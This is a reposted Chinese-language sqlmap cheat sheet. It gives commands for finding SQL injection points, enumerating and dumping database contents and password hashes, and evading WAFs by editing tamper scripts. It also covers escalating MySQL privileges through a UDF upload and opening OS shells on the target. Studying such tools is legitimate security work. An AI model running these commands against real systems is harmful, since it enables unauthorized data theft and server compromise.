经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
sqlmap实战-1
来源:cnblogs  作者:王宇阳  时间:2019/10/21 8:54:18  对本文有异议

sqlmap实战-1

检测和利用sql注入

  1. python2 sqlmap.py -u "[URL_SQL注入点]" [--batch]

--batch:自动选择sqlmap默认的选择

寻找目标

直接连接数据库

  1. python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users

数据库操作参数:

--dbs:列举数据库信息

--current-db:当前数据库名

--current-user:当前数据库用户

--users:列举DBMS中所有用户

--passwords:列举DBMA中所有账户和密码

-D [databases] …:指定数据库名,对库进行操作

-T [tables]:指定数据表,对表进行操作

-C [columns]:指定列名,对列进行操作

--tables:列举数据库表的信息

--columns:列举数据表的列名信息

--schema:枚举数据库结构

--count:枚举数据包的项目数

-D/-T/-C/--dbs/--tables/--columns/--schema/--count

联合操作就可以实现对数据库的具体操作

  1. #列举库中的所有表:
  2. -D [库名] --tables
  3. #列举表中的字段名:
  4. -D [库名] -T [表名] --columns

--dump:导出数据

--start:指定开始的行

--stop:指定结束的行

  1. # 导出当前全部的数据表数据
  2. -D [库名] -T [表名] -C [字段名] --count --dump
  3. # 导出部分(范围)数据表数据
  4. -D [库名] -T [表名] -C [字段名] --start {*} --stop {*} --dump

sqlmap技巧

利用注释的方法绕过waf注入

/tamper/halfversionecdmoreckeywords.py:

  1. return match.group().replace(word, "/*!0%s" % word)
  2. # 修改
  3. return match.group().replace(word,"/*!50000%s*/" % word)

/xml/queries.xml:

  1. <cast query="CAST(%s AS CHAR)"/>
  2. <!--修改-->
  3. <cast query="CAST(%s, CHAR)"/>

sqlmap实施注入:

  1. sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py
  2. sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py

URL重写SQL注入测试

value1为测试参数,加*符号即可,sqlmap将会测试value1位置是否可以注入

列举并破解密码hash

当用户可以有权限查看用户密码的时候,--password会自动连接并破解hash返回结果

对目标进行爬取

--batch --crawl=3 从目标URL爬取网站

使用hex规避编码导致丢失

  1. sqlmap.py -u [url] --banner --hex -v 3 --parse-errors

--parse-errors:解析和显示响应数据库错误信息

模仿移动端访问目标

  1. sqlmap.py -u [url] --banner --mobile

--mobile:设定一个移动端的“User-Agent”模仿手机访问URL

智能判断测试

  1. sqlmap.py -u [url] --bath --smart

--smart:快速判断 为报错注入点进行注入

结合Burp进行注入测试

在Burp——Options——"proxy.Requests"中保存Burp的抓包记录

  1. sqlmap.py -r burp***.txt

从抓包记录中加载HTTP请求

  1. sqlmap.py -u [url] --data "[*……*]"

自动填写表单

  1. sqlmap.py -u [url] --forms [……]

--forms:解析和测试目标URL表单

读取Linux的文件

  1. sqlmap.py -u [url] --file [url]

延时注入

  1. sqlmap.py -u [url] --technique -T --current-user
  2. sqlmap.py -u [url] --delay 0.5
  3. sqlmap.py -u [url] --safe-freq # 请求两次

Burp抓包利用sqlmap注入

  1. sqlmap.py -r ***.txt -p [需要注入的参数]

-p:指定注入参数

sqlmap Cookies注入

默认情况下,sqlmap只支持get/post参数的注入,使用-level参数且数值大于等于2就会检测cookie参数,大概大于3时检查User-Agent和Referer

  1. sqlmap.py -u [url] --cookie [value] --level 3
  2. sqlmap.py -u [url] --cookie [value] --level 3 --tables
  3. sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns
  4. ……

MySQL提权

连接并打开一个交互shell

  1. sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell

上传lib_mysqludf_sys到plugin目录

  1. sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]"
  2. --file-write=

执行shell命令

  1. sqlmap.py -u [url] --os-cmd=[^] #执行cmd命令(Win环境)
  2. sqlmap.py -u [url] --os-shell=[^] #建立交互式的shell

原文链接:http://www.cnblogs.com/wangyuyang1016/p/11701609.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号